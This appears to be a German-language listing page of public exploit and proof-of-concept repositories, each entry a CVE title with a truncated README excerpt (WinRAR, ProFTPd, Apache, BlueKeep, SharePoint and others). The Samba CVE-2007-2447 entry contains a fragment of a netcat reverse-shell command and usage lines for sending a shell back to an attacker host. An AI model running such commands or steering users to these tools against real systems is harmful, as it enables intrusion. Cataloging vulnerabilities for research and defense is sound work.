Mezzanine-CMS-6.1.0-XSS

Mezzanine-CMS-6.1.0-XSS CVE-2025-50481 Beschreibung Eine Cross-Site-Scripting XSS Schwachstelle in der Komponente /blog/blogpost/add von Mezzanine CMS v6.1.0 erlaubt es Angreifern, beliebige Web-Skripte oder HTML auszuführen, indem sie eine manipulierte Nutzlast in einen Blog-Beitrag einschleusen...

winrar-cve-2023-38831-poc-gen

CVE-2023-38831 Exploit-Generator Dieses Tool ist ein Python-Skript, das eine Sicherheitslücke im RAR-Dateiformat CVE-2023-38831 ausnutzt, um einen schädlichen Befehl auszuführen, wenn ein Benutzer eine Köderdatei öffnet. Der Exploit funktioniert auf WinRAR-Versionen vor 6.23. Zum Beispiel 6.22,...

cve-2024-10220-test

CVE-2024-10220 Test-Repository Dieses Repository wird zum Testen von CVE-2024-10220 Kubernetes gitRepo-Volume-Sicherheitslücke im Rahmen der HPC-Sicherheitsforschung an der University of Central Oklahoma verwendet. WARNUNG: Dieses Repository enthält einen bösartigen Git-Hook für kontrollierte...

CVE-2015-3306

ProFTPd 1.3.5 Remote-Befehlsausführung Autor : David Tavarez @davidtavarez Software: ProFTPd 1.3.5 mit modcopy Getestet : Debian 4+deb7u2 ProFTPD 1.3.4a Debian-4+deb7u1 ProFTPD 1.3.4a CVE : 2015-3306...

CVE-2018-9276

CVE-2018-9276 – PRTG Network Monitor ⚠️ Haftungsausschluss: Dieses Tool ist ausschließlich für Bildungszwecke und autorisierte Penetrationstests bestimmt. Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Erlaubnis zum Testen haben. Unbefugte...

CVE-2025-31324

Info ░█▄█░█▀█░█░█░█░█░█░█░▀█▀░█▀█░█▀█░█▀▄░█░█ ░█░█░█▀▀░█░█░█░█░█▄█░░█░░█░█░█░█░█▀▄░░█░ ░▀░▀░▀░░░▀▀▀░▀▀▀░▀░▀░▀▀▀░▀░▀░▀░▀░▀░▀░░▀░ N U L L T R A C E // NullTrace :: Keine Logs. Kein Rauschen. Nur Signal. // ----- SIGNATUR----- Key: ssh-rsa AAAAB3...NullKey...KFA== Fingerprint:...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f Verwendung root@kitploit: Exploit target 10.129.232.46 on port 445, send back reverse shell to 10.10.14.82 on port 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 With custom rport and lport python3 CVE-2007-2447.py...

CVE-2026-20841

CVE-2026-20841 PoC PoC der „Windows Notepad RCE“-Schwachstelle. Haftungsausschlüsse 1. Ich bin NICHT derjenige, der diese Schwachstelle entdeckt hat. Respekt an die ursprünglichen Autoren, die auf der offiziellen Offenlegungsseite aufgeführt sind. Ich habe den PoC lediglich gemäß der Beschreibung...

CVE-2026-50522

CVE-2026-50522 Poc : SharePoint Deserialisierung RCE Nicht authentifizierte Remotecodeausführung über SecurityContextToken-Cookie-Deserialisierung Massenscan-Exploit für CVE-2026-50522, der lokale Microsoft SharePoint Server-Installationen angreift. Nutzt unsichere BinaryFormatter-Deserialisierun...

CVE-2024-24576-PoC---Nim

Untersuchung von Command-Injection-Schwachstellen in Windows mit Nim https://foxoman.hashnode.dev/exploring-command-injection-vulnerabilities-in-windows-with-nim?showSharer=true Hier ist eine zusammenfassende Tabelle basierend auf den Testergebnissen der Nim-Code-Experimente mit verschiedenen...

CVE-2022-28108

Selenium Chrome RCE Exploit Erweitert Dieses Repository enthält eine modifizierte Version eines Metasploit-Moduls, das eine Remote-Code-Execution-Schwachstelle in älteren Versionen von Selenium Server Grid ausnutzt. Bitte lesen Sie diese README-Datei sorgfältig, bevor Sie diesen Code verwenden...

CVE-2024-53924

CVE-2024-53924 Beschreibung: Pycel bis einschließlich Version 1.0b30 ermöglicht bei der Arbeit mit einer nicht vertrauenswürdigen Tabelle die Codeausführung über eine manipulierte Formel in einer Zelle, wie z.B. eine, die mit dem Teilstring =IFA1=200, eval"import'os'.system beginnt. Autor: Adham...

CVE-2025-29018

CVE-2025-29018 - Internet Banking System 2.0.0 Stored XSS in pagesaddacctype.php Beschreibung Eine Stored Cross-Site Scripting XSS -Sicherheitslücke besteht im Code Astro Internet Banking System 2.0.0 aufgrund unsanitisierter Eingabe im name-Parameter in pagesaddacctype.php. Angreifer können...

CVE-2021-41773

CVE-2021-41773 - Remote-Code-Ausführung in Apache 2.4.49 PoC für CVE-2021-41773, da ich gerade übermäßig komplizierte Exploits gefunden habe und dieser direkt zur Remote-Code-Ausführung führt. Verwendung Geben Sie einfach die IP-Adresse des anfälligen Apache 2.4.49-Servers mit -i und den...

cve-2022-33891-fix

EP3 - MAC0352 Computernetzwerke und verteilte Systeme 2023 Thema: CVE-2022-33891 Ausführung beliebiger Shell-Befehle in einer Spark-Anwendung, die ACL-Authentifizierung verwendet Studenten Elinilson Vital Leoarndo Bozzetto CVE-2022-33891 Patch-Anleitung für Ubuntu 22.04 Voraussetzungen Ubuntu 22....

CVE-2024-32002-git-rce-father-poc

Dieses Repository hat keine README-Datei...

CVE-2021-45010

CVE-2021-45010 Exploit-Titel: Tiny File Manager 2.4.6 Authentifiziert Remote-Codeausführung Datum: 04 Mar 2023 Exploit-Autor: Syd Software Link: https://github.com/prasathmani/tinyfilemanager Version: Tiny File Manager = 2.4.3 Getestet auf: Parrot OS 20.04 CVE : CVE-2021-45010 Referenz:...

CVE-2024-55504

CVE-2024-55504 Ein Problem in RAR Extractor - Unarchiver Free und Pro v.6.4.0 ermöglicht es lokalen Angreifern, beliebigen Code einzuschleusen, was möglicherweise zu Fernsteuerung und unbefugtem Zugriff auf sensible Benutzerdaten über die Komponente exploitcombined.dylib auf MacOS führt...

Remote-Code-Execution-RCE-Exploit-BlueKeep-CVE-2019-0708-PoC

BlueKeep Exploit Beschreibung Dieses Repository enthält einen Proof-of-Concept PoC Exploit für die BlueKeep-Sicherheitslücke CVE-2019-0708, die die Remotecodeausführung auf Windows-Systemen über das RDP-Protokoll ermöglicht. Verzeichnisstruktur /python : PoC-Exploit für BlueKeep in Python. /java ...

CVE-2019-12185

CVE-2019-12185 eLabFTW 1.8.5 ist anfällig für willkürliche Datei-Uploads über die Komponente /app/controllers/EntityController.php. Dies kann zu einer Remote-Befehlsausführung führen. Ein Angreifer kann ein Benutzerkonto nutzen, um das System durch eine POST-Anfrage vollständig zu kompromittieren...